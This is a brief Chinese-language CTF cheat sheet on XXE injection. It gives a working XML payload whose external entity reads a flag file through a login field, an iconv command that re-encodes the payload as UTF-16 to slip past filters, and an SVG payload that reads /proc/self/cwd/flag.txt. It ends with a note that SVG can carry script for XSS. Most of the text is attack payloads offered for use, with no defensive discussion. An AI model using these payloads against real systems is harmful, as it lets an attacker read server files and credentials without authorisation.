XXE

XXE(XML External Entity attack)XML外部实体注入攻击

<?xml version='1.0'?> 
<!DOCTYPE x [
    <!ENTITY xxe SYSTEM "file:///flag">
]>
 <root>
 <username>
 admin//或者&xxe;
 </username>
 <password>123</password>
 </root>

&xxe;会输出文件中的内容

在上传xml文件时,utf8不行可以用utf16

iconv -f utf8 -t utf-16 1.xml>2.xml

svg中的xxe

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

svg中也可以写js,xss